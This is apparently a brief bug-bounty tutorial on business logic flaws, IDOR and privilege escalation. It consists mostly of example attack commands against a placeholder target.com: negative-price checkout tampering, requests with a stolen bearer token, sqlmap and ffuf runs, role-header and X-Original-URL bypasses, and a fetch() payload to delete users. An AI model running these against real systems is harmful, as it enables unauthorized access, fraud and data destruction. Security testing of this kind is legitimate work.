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You Should Know:
Understanding Business Logic Errors
Business logic flaws occur when an application’s workflow or validation fails, allowing attackers to manipulate functionality. Common examples:
– Price manipulation in e-commerce
– Bypassing authentication steps
– Exploiting workflow flaws in multi-step processes
Example Exploit Command (Linux):
curl -X POST 'https://target.com/checkout' -d 'price=-100' --cookie 'session=valid_session_id'
IDOR (Insecure Direct Object Reference) & Privilege Escalation
IDOR allows unauthorized access to resources by manipulating object references (e.g., user IDs, filenames).
Example Exploit Command:
curl 'https://target.com/profile?user_id=123' -H 'Authorization: Bearer stolen_token'
Practical Steps for Bug Hunting:
1. Recon with `ffuf`:
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200
2. Test Parameter Tampering:
sqlmap -u 'https://target.com/profile?id=1' --level=3 --risk=2
3. Check for Privilege Escalation:
curl -X PUT 'https://target.com/api/admin' -H 'X-User-Role: admin'
Key HackerOne Reports:
Windows Command for Testing Access Control:
Invoke-WebRequest -Uri "http://target.com/admin" -Headers @{"X-Original-URL"="/admin"}
What Undercode Say:
Business logic bugs and IDORs remain critical in web apps. Automation helps, but manual testing (e.g., modifying API requests, swapping cookies) often uncovers deeper flaws. Always test:
– Unauthenticated endpoints
– Sequential/numeric object references
– Role parameter tampering
Pro Tip: Chain IDOR with XSS for higher impact:
fetch('/admin/delete_user?id=1', {method: 'POST'});
Expected Output:
- 403 Bypass → 200 OK
- Unauthorized data access
- Privilege escalation confirmed
Prediction:
AI-powered bug hunting tools will soon automate logic flaw detection, but human creativity will remain key for advanced exploits.
Note: Always test on authorized systems. Unauthorized hacking is illegal.
References:
Reported By: Ahmed Esmail – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
